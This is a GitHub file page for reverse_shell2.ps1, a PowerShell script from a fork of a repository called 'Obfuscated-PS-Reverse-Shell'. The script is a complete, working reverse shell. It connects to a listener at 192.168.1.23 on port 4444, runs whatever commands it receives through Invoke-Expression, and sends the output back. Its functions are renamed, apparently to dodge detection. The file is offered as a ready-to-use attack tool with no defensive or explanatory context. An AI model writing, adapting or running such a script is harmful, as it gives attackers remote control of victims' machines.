forked from Pwn3rx0/Obfuscated-PS-Reverse-Shell
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathreverse_shell2.ps1
More file actions
37 lines (32 loc) · 1.34 KB
/
reverse_shell2.ps1
File metadata and controls
37 lines (32 loc) · 1.34 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$server = "192.168.1.23"; $port = 4444;
function Create-Connection { param($target, $portnum) New-Object Net.Sockets.TcpClient($target, $portnum) }
function Get-NetworkStream { param($client) $client.GetStream() }
function Create-StreamReader { param($stream) New-Object IO.StreamReader($stream) }
function Create-StreamWriter { param($stream) New-Object IO.StreamWriter($stream) }
$tcpClient = Create-Connection $server $port
$networkStream = Get-NetworkStream $tcpClient
$streamReader = Create-StreamReader $networkStream
$streamWriter = Create-StreamWriter $networkStream
$streamWriter.AutoFlush = $true
$buffer = New-Object Byte[] 1024
$commandText = ""
while ($tcpClient.Connected) {
if ($networkStream.DataAvailable) {
$bytesRead = $networkStream.Read($buffer, 0, $buffer.Length)
$commandText = ([System.Text.Encoding]::UTF8).GetString($buffer, 0, $bytesRead - 1)
}
if ($tcpClient.Connected -and $commandText -and $commandText.Length -gt 0) {
$output = try {
Invoke-Expression $commandText 2>&1 | Out-String
} catch {
$_.Exception.Message
}
$streamWriter.Write("$output`n")
$commandText = $null
}
Start-Sleep -Milliseconds 100
}
$tcpClient.Close()
$networkStream.Close()
$streamReader.Close()
$streamWriter.Close()